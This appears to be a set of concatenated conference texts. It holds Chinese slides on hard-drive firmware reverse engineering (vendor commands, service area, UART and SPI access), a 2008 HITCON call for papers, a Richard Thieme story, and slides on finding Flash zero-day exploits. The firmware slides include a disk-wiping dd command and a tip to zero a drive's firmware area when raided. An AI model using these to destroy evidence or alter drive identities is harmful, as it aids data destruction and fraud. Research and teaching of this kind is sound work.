 以下部份為我本來要在企業場講的架 構 現在⼤大家聽到賺到oh !!!! 硬碟啟動流程 (以WD為範例) MCU ROM bootstrap 內部或是外在SPI ROM 碟⽚片上的Module 01 Index 碟⽚片上ATA 微代碼( Module 11) 碟⽚片上其他完整微代碼+匹配參數
 所以硬碟如同⼀一個 embedd system 不同的是 
 儲存韌體地⽅方會⼆二個位置ROM跟碟⽚片 WD 硬碟重要參數 ROM 微代碼版本號 啥是模塊..(module) 模塊是硬碟碟⽚片上韌體跟匹配參數分類 ⽐比如說 序號,型號 ,ATA 密碼是存在專⾨門模塊.⽽而不是在 PCB . 有分重要級數 重要模塊⼀一丟私 資料⼀一去不復反 有必要的中斷 剛剛已經講完硬碟boot 流程,任何⼀一塊錯了 就有機會造 成硬碟”當機” 所以說打斷 不正確的開機Boot步奏是很重要的 ROM 有碟⽚片韌體區缺陷位置 修改他 可以造成流成上的 中斷 打斷後 基本狀況下 可以讀寫韌體區.可嘗試修理韌體或 是將重要模塊備出.以其他硬碟啟動載⼊入重要模塊.再做熱 交換 韌體跟資料恢復的關系 硬碟容易硬體與韌體⼀一起故障 增加Dinor材料硬碟相容性 讓硬碟在極限狀態讀取資料 這樣算真硬體 Hacker嗎? 真相是 我只是⽐比較”熟練”的 Program Kiddle 說⿊黑⿊黑 誰是真⿊黑⿊黑? ⼤大家不過是⽤用現成硬體⼯工具 
 腳本⼩小⼦子
 然後概念不好就成⾚赤腳醫⽣生 
 頭痛治頭痛 腳痛治腳痛
 但對外都要吹噓的⾃自⼰己多⿊黑... 
 設備多神奇多昂貴 ATA Vendor-specific command 公開的T10 ⽂文件就有寫了
 Something (e.g., a bit, field, or code value) that is not defined by the standard and may be used differentlyn various implementations. This proposal defines a SCSI 16 byte CDB for issuing an ATA command, and sense information to report completion status. This mechanism allows. CDB (Command Descriptor Block) 給我⼀一個機會 我想做⿊黑⿊黑 (好⼈人) 我第⼀一想知道的是 這些數⼗十萬的專業數 據恢復設備
 是怎樣知道原廠ATA vendeor command跟 技術⽂文件是怎樣寫出的? 結果是這樣的:⿊黑⿊黑(好⼈人)後 ⾯面都有內⻤⿁鬼 弄出原廠 ⼯工具軟硬體 
 (發送VSC ,TTL 終端⼯工廠指令控制硬碟)
 功能:修改序號,修改容量. 沒內⻤⿁鬼 我獨⽴立研究 可嗎?吾 道不孤 (有Google ) 嗯 我想找 WD ATA Vender Command 相關資訊 從世上最⼤大的⿊黑硬體市場 “游戲機”說起 遊戲機是這世上被硬體hacking⽐比例最⾼高的硬體....
 在亞洲市場被⿊黑過的⽐比沒⿊黑過的還多!!!!
 市場⼤大 ,因此有⼈人做了⼀一些研究 :
 Xbox 360 專⽤用WD 硬碟 有特制韌體,你不能隨便拿顆更⼤大 容量WD 硬碟插上去. ⺠民之所慾 ⿊黑之所向 http://www.users.on.net/~fzabkar/HDD/ HddHackr_how_it_works.txt
 HddHackr reads the HDD firmware version, serial number, model number, and capacity in LBAs from sector 16 of the original Xbox HDD, and then writes this information to a supported WD drive of equal or larger capacity. It does this by using WD's vendor specific commands (VSC) to modify the HDD's firmware. AIUI, in the case of a ROYL drive, the relevant firmware modules are 0D and 02. The result of this hack is that the WD drive then identifies itself in the same way as the original drive WD 模塊結構分析 現在你可以⾃自由更換更⼤大容量硬碟了 OSSLab Easy SA Tool (硬 碟韌體讀寫⼯工具 ) 只能⾛走主機板上SATA port.USB to SATA 穿透還在處理 只⽀支持舊款WD 硬碟 Linux 下 要先知道 ACHI port (先下lsipci ) 只是好玩 …(我怕有⼈人拿來放了啥糟糕物 別害我) Service area 實驗驗證 Sectors Per Track (韌體區)
 磁道扇區數韌體區的每⼀一磁道的扇區數量 WD2500KS-00MJB0 SPT :720 Head:6 Tracks (SA CYL): 64
 空閒韌體區總共⼤大⼩小 4x 64 x 720 x 512b byte=96MB ⼤大⼩小 (0,1 主頭軔體區⽤用於存放硬碟微代碼跟匹配 參數) 做完低階格式化. 這區的資料還在嗎? Easysa 操作⽅方法 dd if=/dev/urandom count=184320 > random-file ; md5sum random-file ./easysa -p 0x0170 -w ./random-file dd if=/dev/zero of=/dev/sdb bs=1M ./easysa -p 0x0170 -r after-dding-dev-zero md5sum after-dding-dev-zero ⽼老⼤大哥就是這樣看著你 https://securelist.com/files/2015/02/ Equation_group_questions_and_answers.pdf
 史上最先進病毒 韌體防⽕火牆 Firmwall https://www.os3.nl/_media/2013-2014/courses/ ot/jan_niels.pdf
 軟體有防⽕火牆,軔體也有防⽕火牆
 預防有軟體有開啟VSC Service Area 其他應⽤用  NSA 可以⽤用 你為何不能⽤用? 當被抄⽔水表時,把所有主 頭 (0,1頭) Service area 填0....
 結果你知的.... Serial TTL (UART)通訊應⽤用 Serial UART 應⽤用: Linux 終端操作 路由器或者 ADSL 韌體升級。 硬碟低階操作維修。 單晶⽚片(MCU)程式下載,如STC 51單晶⽚片。 需要的線材與⼯工具 杜邦接頭(⺟母), 1P 的三根 莫⼠士端⼦子(⺟母) 2.0mm,4P 排座 USB to TTL 板 (拿Arduino 也可替代) Embedded USB to TTL版 莫式端⼦子4P排座 杜邦接頭1Px3 GND GND Rx Tx Tx Rx Serial UART 接線對應⽅方式 USB to UART 驅動與終端 驅動程式 Windows Prolific PL2302, WinXP Driver Linux 已內建於 Linux kernel。 連線軟體 Windows Putty Linux minicom on Ubuntu 12.04) TIPs: 設定 minicom: - 序列埠設定 > A 序列設備:/dev/ttyUSB0 E Bps/Par/Bits:115200 8N1 F 硬體Flow控制:否 G 軟體Flow控制:否 這是⼀一台ARM NAS . 逆向 Serial UART 腳位 最好抓的是GND 先將 embedded system 斷電 
 GND ⼀一是⼤大塊⾦金屬點 或是電 源座負極.會導通 數位型三⽤用 電表轉到 ⼆二極體測試檔位 (可 做導通測試 有通會發聲 ) 另外⼀一邊探針 則每個pin都試 
 發現第⼀一根有跟接地點導通, 會翁鳴 。
 因此第⼀一根為GND GND 腳位判定 這時embedded system 再通電
 把探針⼀一根固定放 GND 測試每根與第⼀一根已知 (GND) 相通電呀 發現當 1,4 腳位通電時 3.3V 或5V 表⽰示第四根為 VCC
 RX TX , 就為中間⼆二根。
 先顯⽰示有字串再調速度 ⽤用2400 ~ 115200 慢慢 試
 分析出腳位 Arduino 做起⿊黑⿊黑應⽤用⽐比電⼦子花 ⾞車藝術實在多了 紅外線訊號抓取模擬發射 Apple Magicsafe 協議分析 Apple Battery Firmware Hack Bios 密碼破解 HDD TTL 串⼝口指令 Apple EFI Passoword
 從應⽤用中學習電⼦子訊號原理 Seagate UART 接線法 Rx Tx Samsung UART 接線法 Rx Tx 連接Seagate HDD 終端 Seagate 硬碟指令集 通病維修 F3 C>Q (按下去後有指令說明)
 Online ^A: Rev 0002.0000, Flash, DisplayFirmwareRev 
 Online ^B: Rev 0001.0000, Flash, GetThermistorTemperature 
 Online ^C: Rev 0001.0000, Flash, FirmwareReset 
 Online ^I: Rev 0001.0000, Flash, DisplayControllerRegs 
 Online ^K: Rev 0001.0000, Flash, DisplayDstStatus 
 Online ^L: Rev 0003.0000, Flash, DisplaySignOnMsg 
 …………………. SPI 協議 SPI是⼀一種4線同步序列資料協定,串列外設介⾯面
 ⼀一般是4線,有時亦可為3線 , 可連接memory , RTC , ADC ,DAC …etc 那些東⻄西有⽤用上SPI Flash? Router 你把bootloader 都刷掛了,就只能⽤用spi 刷⼊入 硬碟ROM 電腦主機版BIOS 內有密碼或序號.... 把Ardino 變成SPI 編程器 ⼀一般⽤用的Arudino IDE 是以⼀一個UI 包起 AVR Toolchian. SPI 編程器還要⼀一些IC spec資料.因此不能單純做SPI 通訊 注意⼯工作電壓 有分5V 跟 3.3V
 UNO 5V , Nano 3V ,5V 都可 CrossPack for AVR in OSX 下載網址:
 https://www.obdev.at/products/crosspack/download.html Arduino 麵包板接法 拿Arduino 做SPI編程器 軟體 http://flashrom.org/Serprog/Arduino_flasher 去 git吧 燒錄Arduino 程式碼
 make u2 Dump ROM 
 flashrom -p serprog:dev=/dev/ttyUSB0:2000000 SPI IC 燒錄器 逆向當代封閉嵌⼊入式系統的 問題 • 沒有原始碼 只有binary 韌體 • 沒有 toolchain   • 沒有⽂文件 • 只能⽤用封閉Debug或燒錄軟硬體⼯工具
 ( 如⾼高通QPST ) “真”外星逆向技術 Avatar 專案 Symbolic Execution(符號 執⾏行) Avatar 提供的Bridge 整個 Symbolic Execution逆 向架構 S²E (Qemu +Qemu LLVM +Klee) 
 模擬ARM  and symbolic execution GDB and OpenOCD
 做⺫⽬目標物通訊 (UART 或JTAG) Avatar 逆向分析⼯工具 IDA Pro 逆向Seagate HDD成果 拆解Segate Update FW結構 可⽤用於維修硬碟韌體 超潔淨無塵室真的有⽤用嗎?? 資料來源:全球最專業硬碟論壇
 http://malthus.mooo.com/viewtopic.php?t=20&start=20 材料多好像⽐比教實⽤用? 其實DR 專家還是做好 Program Kiddie 材料相容性經驗 更換材料穩定性 熟知硬碟⼯工作原理 狀況問題與解決經驗 ⾃自我不斷學習 技術上的結論 硬碟是很有趣的學習 embedded security 未來市場主流的SSD ⽤用的技術⼀一樣脫離不了 ATA Command,UART . ⾏行業的結論 資訊越來越開放,讓消費者瞭解成本與⾵風險,⽽而不是在於 過度吹噓 ⾏行業要有⼯工會跟制度避免惡性破壞客⼾戶數據 合理的處理客⼾戶案件 ,確實幫客⼾戶處理,並不只搶完低 難度的. 朝聞道 ⼣夕可死矣 ⼀一路摸索 跌跌撞撞 要感謝很多⼈人
pdf
2008 年駭客年會徵求論文 HIT 2008   Call For Paper u 時間:2008 年 7 月 19 日~20 日(星期六~星期日) u 主辦單位:CHROOT – Security Research Group (http://www.chroot.org) u 活動網址:http://hitcon.org   台灣第四屆駭客年會將於 2008 年 7 月 19~20 日(週六、日)舉行,歡迎各界人士踴躍 投稿。論文內容以探討實作技術並能演講 50 分鐘為佳。 為了讓會議主題能夠明確,我們擬定了以下議題,有興趣的朋友可以從下列議題中選 擇自己擅長的方面進行準備(包括論文、程式碼和投影片),但不以下列的議題為限。今年 特別歡迎各項有關 Windows Vista 作業系統的安全技術探討。 1. Exploit technique 對於網路、作業系統和應用程式等各方面攻擊程式或手法的技術研究。 2. Honeypot 構建安全的 Honeynet 系統,對各種入侵進行詳細的技術分析,瞭解攻擊者行為和 攻擊手法等。或者,對於 Honeypot 進行反追蹤技術的探討。 3. Virus and anti-virus 電腦病毒和防毒軟體新趨勢或研究。 4. Reverse engineering 對二進位檔或者不明資料進行詳細解析,構建反向工程的具體過程和方法。 5. Audit software vulnerability 對開放原始碼的軟體進行安全性檢測與分析的具體過程和方法,或是對商業軟體所 進行的安全性分析。 6. Backdoor and rootkit 各種新型態的後門或木馬的設計研究或是檢查方式。 7. Web and database security 各種網頁、網站軟體和資料庫的安全性探討。 8. Firewall, WAF, IDS and IDP 防火牆(Firewall)、入侵偵測(防禦)系統(IDS、IDP)等的技術現狀和發展前景,入侵 檢測系統在現階段的實際應用情況等。此外,歡迎近年來對於加強 Web 應用程式 安全的 WAF (Web Application Firewall)的各項技術研究。 9. Hardened system 對各種當前各種作業系統進行安全加強,提升不同安全級別方法、技術、發展方向 等。 10. Covert Channel 隱藏傳輸通道。將某特定的資料隱藏包裝於其它正常的資料串流或協定中,進行傳 送。 論文可選中文或英文撰寫。 每文第一頁必須包含題目、作者、聯絡人、演講者及聯 絡資料(電話、電子郵件)等,並以 PDF 檔格式,於 2008 年 6 月 15 日前,利用電子 郵件附帶傳送檔案至 [email protected]。 為鼓勵投稿,本次會議將致贈每篇被接受之論文 NT $3,000 元整。 此外,大會將依 作者意願,將論文或演講內容以電子或書面媒體方式散佈。 除了上述的論文徵求外,本次駭客年會計畫了一場 0-day exploit 展示,只要在 2 008 年 6 月 15 日前,將您個人所發現的漏洞(未公開且尚未被修正),以電子郵件方式 傳送至 [email protected],經過確認,就有機會免費取得本屆駭客年會的入場券,並 且上台展示漏洞。
pdf
Mind Games 1 Introduction to Species, Lost in Apple-eating Time I have to admit, I love this wee little story. It’s the best I could do at the time, trying to express the unthinkable in words. It was the unthinkable, I think, that I was thinking, walking around the park near which I live in Fox Point, Wisconsin, thinking, just thinking. Sometimes I think aloud and sometimes I practice speeches as I walk, and I look pretty wild to those who don’t, don’t walk and talk and think with single-minded intensity, focused on what’s inside, oblivious to and not caring how it looks. Once a young person knows that the meaningful compass is inside, they pretty much own themselves (of course, that inside self is formed in and by a community, we are social animals after all, and the communities we choose do matter, as I often said, preaching to the faithful (more or less) on Sunday mornings). But I digress. This is no place for exploring paradoxical complex- ities.... or maybe it is, since the walls of a self look like cellular walls inside the self or cell but like modular adjacencies when seen as parts of a whole, making up an organism, and that’s what this story is about... the angle, the point of view, the frame of reference. Anyway, I was walking around the park, thinking of how as what-we-arbitrarily-call species evolve, the boundaries between Richard Thieme 2 them disappear. The names we give them go away. (Are you notic- ing common themes in these stories?) Think of that long banquet table at which each generation is represented by a person, we are only one person or two away from Einstein and only a hundred or so people away from a neolithic ancestor. Each person can talk to the one beside him or her, maybe to someone a couple of seats away, but pretty soon the conversation disintegrates into gibberish. Species link to one another in a similar way. And species inhabit the universe like plankton inhabit the seas, by gazillions. Way too many to think. And as intelligent species (and aren’t they all?) link up, I saw as it were in a fast flash forward mode, they form larger and larger organic unities, mind to mind, the language with which they previ- ously described themselves breaking in the process (as cultures among humans mesh and merge and self-transcend), new languages emerging, until the animated sentient matter inhabiting the entire known universe is like one immense organism, parts of which like living cells articulate each through its own aperture or cultural or planetary or galactic frame a way of seeing and thinking about what exists. It must be so, as Faisal (the character.not the real one) said in Lawrence of Arabia (the film, not the book). One might even think the goal of the universe, if such exists, and I know evolutionary theory says it doesn’t, but what if consciousness is both a precondition essential to the emergence of conscious forms of life and an emergent property? and what if the goal is to link up until everything is connected and aware of it and aware of itself aware of it and sees the links at every level, bottom to top and all the way back down? And what if that singular being, while thinking it has completed a task, happens to notice a knot in a thread in the tapestry of Everything, a snag, a little rip in the fabric, in the skein as Mind Games 3 it were, and leans down and sees a wee tiny hole and then goes closer, getting down on its knees, and looks through that wee tiny hole? What does it see, outside (as if outside/inside mean anything at that point)? What if... What if the higher consciousness represented by the singular being’s way of saying or framing addresses the way we, a single rather primitive species on a planet just becoming aware of itself, a part of the whole but one with the arrogance of adolescence, when it thinks of ourselves/ourSelf/itself in our current lowly form, as if we are just our little self or selves and not part of the whole at all? Speaks to us, as it were? Speaks to itSelf/ourSelves, that is? Speaks to the primitive form or larval stage to which we might regress if we look through that wee tiny aperture and get the shock of our lives? That universal self/Self, talking to itself... must look like me walking around the park, seeing this story as an image of the whole, talking it out to myself as I see and think and frame it, the way the companion in “Scout’s Honor” talks to Scout who thinks he is what he thinks and nothing more. Higher bigger Self to smaller public self. Like when I preached for sixteen years, and I was a well-meaning Episcopal priest, whacky too in a shamanistic way as one must be to have one foot in the other world and one foot in this and know how to move back and forth, one to the other (job description: to be willing and able to go crazy on behalf of the congregation, then know how to come home), and I would remind congregations that the themes that recurred in my sermons were issues I had not finished working through, that the Self Who Knew, as it were, was preaching to the self that needs to keep learning (once it was worked through, the issues would no more surface than a discussion of how to tie our shoes, since once we master and pass beyond once-difficult Richard Thieme 4 challenges, they disappear, going down down down). Oh, about “apples.” A nod to the fruit eaten by Eve, as the story goes, that meant the end of innocence. But also a nod to a happy time when my oldest son Aaron and I opened his new present, an Apple 2 computer, one Christmas in Salt Lake City, Utah, thanks to beloved Adele, my aunt (she and my Uncle Buddy saved my psychic life), a gift to us all, and our lives changed forever... as I soon would see, playing Hitchhiker’s Guide to the Galaxy on that primitive Apple with my son, just as the world would be changed when it opened the Bigger Box called networked computing. Mind Games 5 Species, Lost in Apple-eating Time The moon was the first step down from our front porch. We were so proud to navigate that top step, letting ourselves down carefully, knees scraping on the rough wood until we could stand up and see the world from a new perspective: the tops of the trees a little higher, the edge of the step against our legs like the ledge of a cliff. It seems like a dream, that time when the planet mattered, when we were as gods. We were young then, just buds, full of the pride of life, our outward migration a cloud of bats pouring out of a cave at twilight. We called ourselves humanity or humankind, and we had the audacity to make up names for other species. Whales. Lions. Elephants. <laughter> We believed in our distinctions, dividing everything up so it could be conquered. We followed the contours of language into space as if what we described “out there” was inde- pendent of ourselves. Our words wrinkled and slashed into the spaces between the worlds and we came tumbling after. Now we know better. Nothing is out there. Nothing at all. Let me try to explain. Forgive my primitive images, please, and please forgive my archaic language. I am not trying to talk down to you. I am using metaphors preferred by children learning their first words because that’s what humankind is and does. The Froth over- flows your tiny cup like bubbles on the lips of a nursing child. Of course we are not limited by Ourself(Itself) to such a small container. Richard Thieme 6 Mind Games 7 And yet we are. We are the smallest bubble on the corner of that baby’s mouth. So drink, my precious child, my beloved child, drink all of your milk and you will grow big and wise and strong. Out here, in the expanding space of (y)our outward migration, we encountered trillions of windows that open onto the universe. Even on our home planet, our small precious blue world, there were millions of perspectives. Yet we had the arrogance to think that the window through which we leaned, craning our necks like immi- grants in a tenement to see past the laundry that hung between the buildings, was the only aperture that mattered. We called everyone else an “alien,” as the ancient Greeks called everybody barbarians. Even after Contact, when the Little Truth became obvious and coherent at last, when decades of periodic encounter with anomalous and intelligent beings had finally drip- dripdripped into a steady trickle and percolated through our defens- es and denial died at last, even then we called them “aliens” instead of Wrzzzzarghx or Lem-Lem-Three-bang)! or HelllenWuline. And that was just the Tight Group from the few stars in our neighbor- hood. The Skein was the stuff of legend then. We gave it hundreds of names and celebrated them all in story and song. In our innocence, we spoke of “wormholes” as if beings of significant size could squeeze through them and blip blip into hyperspace. <chuckle> We felt ourselves Big then, bigger than anything else, which happens often just before the bubble pops. (Yes. Write that down, please, and refer back to it later.) When the down-a-thousand offspring of the HelllenWuline twice-twisted showed us how teleportation really happens, humanity died dead. Yet memory (as we called that wrin- kling in the diaphanous fabric of the Skein) flows that we celebrated in the streets of thousands of cities on hundreds of planets, so excited were we all to be free of our local star-allegiance at last. The geodesic was so interlaced with cross talk that everyone became. The Skein Richard Thieme 8 emerged in our consciousness like the grin of the Cheshire cat. Now, when I say “we,” I mean the beings who had coalesced into and around our common purpose then, however dimly we glimpsed our reflected image. “We” were what we had made of ourselves, a Being(we) that made Accidental Humanity look like a small primi- tive tribe in a lost forest. So humanity – for all intents and purposes – was long gone and we were more. But we still hadn’t grasped the true nature of the Skein. Teleportation turned us into toddlers coming down those front steps, ready to hop skip and a-jump around the all the way around the long way around the whole block. But not alone. No, not alone. Once we had exchanged data with the down-a-thousand twice-twisted spliced pairs, with the *66^^^ (the six/six) and the Yombo-wh-!~~ from far beyond the clouds in our local groups of galaxies, we were no longer remotely human. (Do I repeat myself? Very well, I repeat myself). Humankind had vanished into the Strands of the Hundred-and-Twelve. Only the museum (a crease in the Skein like a memory) preserved molecular clusters of how it felt to think like primitive humanity, placing ourselves at the center of the universe, as happy as rabbits scamper- ing in the grass and as dumb as a box of rocks. So use the museum to enter again into those primitive languages. When we do, we immediately feel the constraint of our childlike thinking binding us like wet rawhide wrapped around, shrinking in the sun. The cul- tures of Accidental Humankind had once been comfortably snug. Then they grew tight and then they became suffocating. Time to breathe. Time to be free. You would think we would have bolted for the opening door and leaped from the edge of the cliff, but human- kind is a funny duck. Even on the edge of surrendering, we experi- enced the expansion of possibility as something to be resisted. Mind Games 9 Humankind resisted it’s own destiny, even as it arrived. As if to become more was in fact to become less. It is no wonder then that traits like that were discarded and the attitudes of the Nebular Drift, as they were called, those thousands of trans-galactic cultures that had grown into a single Matrix, were integrated instead into the way we made ourselves make ourselves. The Hundred-and-Twelve was a single thread, humankind a reces- sive gene in the deep pool of the Matrix. Once we had engaged for millennia in multiple replication and had manufactured the attributes we preferred, we were no longer at the mercy of molecules that had piled up willy-nilly to create an interesting but pot-bound species. And along the way, you had better believe, now write this down! Yes, I mean it! This is important. Along the way, we made plenty of mistakes. Now we can see they’re what they(we) called funny then. They can still be observed in a simulation of a replication of a holographic set in the Skein that anyOne can access. Unhappy humanitads unable to laugh, horse-laughing humanitoids unable to think, chip-whipped hummans unable to dance. We did not know that laughing and thinking and dancing made humans human, then. The trick was getting the mix just right. And that, we discovered through trial-and-error <yes! spell it for me! Good!> meant a mix that was right for the Skein, not just a species or planet or galaxy. A mix that made the trans-Matrix a rich broth of diverse possibilities. We became adept at pan-galactic speciation only when we learned to think macro, manage multiple images of more than millions of stars swarming with warm sentience. We finally identi- fied consciousness, intensionality, and extenuation as hallmarks of a mature being(people)-or:species and the necessary attributes of any viable hive. Richard Thieme 10 Consciousness is a field of possibility, self-luminous, unabstract- ed, boundless. It is a way the wrinkles in a diaphanous fabric (as it were) invite self-definition. Our subjectivity is our field of identity, shaped by the Skein. To review, then, my little ones: <I know how tired you are. Believe me(me)[me]{me}, I remember!> We gave species names. Thousands of cycles later we discerned a pattern of trans-galactic distribution and nested disintermediation and called it a void Warp. At last we called ourselves(=Self) the Skein and were ready to take that first tentative step off our front porch. We had expanded plenty by then, into ourSelves, hollowing hundreds of inhabited galaxies, filling them with Nothing. We began to understand that there was neither out nor in, there was only the Skein becoming aware of itSelf. All of the names were arbitrary vocables, but even that simple fact was beyond the capacity of a human brain truly to grasp. I know, because I fed the primitives into the simulated human mind and the Skein belched. So even as the Skein continued to manifest itself at all levels, a remnant of humani- ty like an eddy, a backwater, on a single planet continued like the tip of a whorl of a swirling fractal to think one thing. The Skein, of course, knew many things, but knew too they were really One. How could we-it, how could the Skein, manifest at every level? An excellent question! Because how we define the system depends, dear ones, on the level at which we choose to observe it. Everything is nested, connected. Yes. Messy and messless. Very good! Well, my dearly beloveds, let us continue: The Skein was more than context, the Skein was/izz the content of whatever we had no longer happened to become. Now we became. Our languages frac- tured once and for all when we tried to name ourSelf in the Skein. Looking back at the nested levels of linguistic evolution, we can see how we were spoken by our primitive language, all unconscious Mind Games 11 that we were carried along for the long ride outward, oblivious to how language was made. Then we learned how to make progeny that made language that made progeny that made language and so on and so on, down-a-thousand-thousand. Accidental Humanity had to vanish, so do not grieve for what is only never lost <twinkle>. We learned how to extend ourselves until we were singular, flexing inside ourselves(ourSelf), our awareness nearly identical to the mo- lecular enterprise we had chosen to become. When we look back or across the translucent folds of the Skein or – as some say – when we look into the Emptiness and see what we created out of Nothing … no wonder the new skin/Skein growing all the while under the old was experienced as something new, when in fact it was always the Skein, a field of subjectivity within which we had always been woven, always dimensioned. Yet even then, our arrogance persisted, because the Skein was aware of itself as a journey moving outward at increasing speeds, rather than a spiral closing in on itself. The more matter was ingested and became the frame of the evolving Skein, the less able the Skein became of saying anything at all. The Skein fell into Mute, when the edges of the known universe were discerned not in some simulation but as the finite-but-un- bounded possibility of Skein itself. There was, after all, nothing more to say; language no longer served a useful purpose. The numbers of differentiated apertures through which the Skein experienced itself had advanced to something like 2 to the 32nd power, but every single one <laughter> was Skein and aware of itself as Skein. Except the ones that weren’t, but they were Skein too. <Remember yourselves! Remember that planet!> The configuration of energy and informa- tion that had animated itself so many millions of eons ago had reached the near-term goal of expansion. As we understood or defined it, of course. We knew by then that we had chosen only one way to expand, Richard Thieme 12 filling spacetime co-extensible with our awareness, we knew there had been millions of other possibilities, each a perfectly good way of being the Skein. But then we arrived at the edge of the front porch for the first time and slipped going down and landed, whapht! on our ass on the second step. We hadn’t seen it coming but (obviously) in retrospect, it was inevitable. What the Skein boldly called the Known Universe was in fact merely a bubble of Froth that Second Contact dimensioned some/what so immense that we had to regress, we were so confound- ed by the Bigger Truth of it all, so aghast at the muchness of it, the wildness of it, the sizes and sizes! We were like a child(Children) called suddenly (prematurely? No, I did not say that) to advance to a level of comprehension and self-responsibility unimaginable to our little brain. So we stuck our thumb in our mouth and began babbling. Yes, the Skein started speaking again, just before it disap- peared. We know now that the Skein had no choice, and of course, what I call “speaking” resembles primitive utterable tongues as an explod- ing galaxy resembles the darkness of a limestone cave in one of your green hills. The Skein needed to differentiate itself in order to extend itself through the aperture that disclosed new possibilities that the Skein had been unable to imagine in its finite-but-unboundedness. Now, of course, we just call it “reality.” Then, it blew the mind – literally – of the Skein. Mind disappeared, and the Skein experienced itself as a field of consciousness, unabstracted, self-luminous, bound- less. More important, the Skein saw that it too was merely an emer- gent reality, a Self as illusory as that which humanity had called ourSelf/itSelf. It had to happen. We know, we know it did. But forgive us please a wispy remnant of wistful feeling. The way the Skein dreamed was childlike. The Skein planned Little, while thinking it was thinking Mind Games 13 Big. Now we understand <smile> pause. <smile> We met ourselves in the Froth like a child with paper and pencil doing sums while the Froth was more like oh, lets say a Supercomputer(s), a dimensionless web of quantum computers that networked forever, indistinguish- able from its means. The Froth was like an old Apple under a tree on a morning of giving/receiving gifts. Or perhaps an entire planet under a heaventree of stars wrapped in the fabric of spacetime. Oh, more. More. The Skein reached its limit because it experienced the Next Step as limitlessness, while the Skein had built itself to manage only finite-but-unboundedness. However many possibilities we had included in our/its schema, the fact that they could be numbered however numberless the numbers was simply a careless mistake. Back to the drawing board, boys and girls. Trial-and-error means we make mistakes. Never forget. The Skein over-reached itself through the aperture into the Froth and became the Asymmetric Foam that now is flowing with growing confidence in its capacity to enhance the possibilities that glow with nascent mentation on the outer inner edges of the Froth. We are the emptiness of the Froth. Our destiny has been to become Nothing. We understand at last (we say with downcast eyes and chastened demeanor, knowing we understand nothing, nothing at all, knowing that we are like chil- dren standing on our front porch, looking down at our skinned knees and the first step). The Froth looks to humankind in its plane- tary crib like a hydra-headed fractal, the Skein like a bubble in the Froth. We believe the Froth Knows Whereof it Speaks, while the Skein, bless its heart, has outgrown its worn yellow one-piece sleep- er. It is time for the Skein to buy itself a new suit. And die to being the Skein forever. Yet within the Froth what was the Skein meets and embraces what had been … even Our/its lan- guage breaks, the billion Skein-like non-Skeins smiling inside out- side at the sheer impossibility of saying anything at all. We are the Richard Thieme 14 Froth and the Froth is evolving toward the Second Mute. But try. <Why> because humankind tries. Humankind tiny but laughs and thinks and dances the Froth. Small and so adorable, humbled now, humankind on its wee planet. Tip of a swirl. A swirl in a whorl of a spiral. Try. Try again. <sigh> <smile> The Froth however dimples, dimples again and gimbles, all mim- sy as the Skein, laughing and dancing, ola! Loa! High! High! Leaps over the fire to become twice blasted twice undone.
pdf
Discover  Flash  Player  Zero-­‐day A4acks  In  The  Wild  From  Big  Data Peter  Pi @heisecode Agenda •  Who  am  I •  Background •  Discover  flash  0-­‐day  a4acks  from  big  set samples •  Vector  Length  miGgaGon About  me •  Security  researcher •  APT  product  developer •  Interested  in  discovering  vulnerabiliGes  and wriGng  exploit. •  Focus  on  Flash  and  Android  recently. WAR3  &  Ping  Pong  Hobbyist Found  CVE-­‐2015-­‐0313  flash  0-­‐day  a4ack CVE-­‐2015-­‐5122  &  5123  from  hacked  team Found  some  newly  patched  flash  a4ack My  Blog  address •  h4p://blog.trendmicro.com/trendlabs-­‐ security-­‐intelligence/author/peterpi/ •  Will  publish  some  Android  bugs  I  found. Agenda •  Who  am  I •  Background •  Discover  flash  0-­‐day  a4acks  from  big  set samples •  Vector  Length  miGgaGon Flash  Year •  Because  of  browsers’  UAF  miGgaGons  and JAVA  pop-­‐up  window,  Flash  Player  became the  weakest  out  of  popular  targets  in  PC. Flash  Year •  Finally,  we  can  see  that  Zero-­‐day  a4acks’ targets  are  mostly  Flash  Player  in  2015  >  CVE-­‐2015-­‐0310  >  CVE-­‐2015-­‐0311  >  CVE-­‐2015-­‐0313  >  CVE-­‐2015-­‐3043  >  CVE-­‐2015-­‐3113  >  CVE-­‐2015-­‐5119  >  CVE-­‐2015-­‐5122 Flash  Year •  Newly  patched  N-­‐day  a4acks  in  Exploit  Kits this  year  almost  are  based  on  Flash  Player vulnerabiliGes.  >  CVE-­‐2014-­‐8439  >  CVE-­‐2014-­‐9163  &  CVE-­‐2014-­‐9162  >  CVE-­‐2015-­‐0336  >  CVE-­‐2015-­‐0359  >  CVE-­‐2015-­‐3090  ….  …. Flash  Year •  In  this  situaGon,  I  wanted  to  disclose  Flash  0-­‐ day  a4acks  when  tried  to  guess future  perspecGve  in  late  2014. •  Disclose  newly  patched  n-­‐day  a4acks  also  has value  to  users. Background •  Got  tens  of  millions  of  suspicious  SWFs  in  our Hadoop  server,  and  thousands  newly  added every  day. •  I  think  this  is  a  good  resource  to  find  0-­‐day a4acks •  So,  this  topic  Gtle’s  big  data  is  a  trick,  and  not related  to  data  mining  or  machine  learning  J Agenda •  Who  am  I •  Background •  Discover  flash  0-­‐day  a4acks  from  big  set samples •  Vector  Length  miGgaGon Problem  I  face •  Big  set  samples  to  handle. •  I  need  a  automaGon  process. •  It  can  achieve  very  low  False  Alert  rate,  fast processing  speed. •  Final  manual  check  only  needs  handle  li4le Flash  samples. Need  a  tool •  I  need  a  tool  to  help  me  idenGfy  a  SWF  file  can exploit  target  version  of  Flash  Player.  >  This  tool  must  have  very  low  False  Alert.  >  This  tool  must  have  logger  for  improving  automaGon.  >  This  tool  must  can  record  exploit  event  when  detect.  >  This  tool  must  can  stop  the  exploit. FlashExploitDetector(FED) •  FED  is  an  IE  BHO  wri4en  by  C++ •  Dynamic  hook  Flash  OCX  when  Flash  Player loaded  to  IE  tab  process. •  Hook  IE  event  to  get  current  URL  name. •  Write  log  to  file  when  detect,  it  will  save  the Gme  and  the  SWF/URL  name. •  Infinite  loop  when  detect  exploit,  waiGng  for automaGon  process  to  kill  IE  and  conGnue next  SWF  file. AutomaGon  Process •  Simple  Python  code. •  Register  FED  BHO  using  regsvr32.exe •  Every  Gme  load  a  HTML  contains  SWF  in  IE •  FED  will  hook  Flash  Player  OCX  to  detect exploit •  Kill  IE  processes  to  load  next  SWF  file  in  new  IE •  When  finished  all  SWF  files,  parse  log  file  and get  the  detected  SWF  files. Key  Point •  How  to  achieve  extremely  low  False  Alert rate?  There  are  match  points  in  the  flow  of exploit.  1.  Match  vulnerability  triggers?  This  means  one  vulnerability one  rule,  no  use  here,  discard  2.  Match  Vector  Heap  Spray?  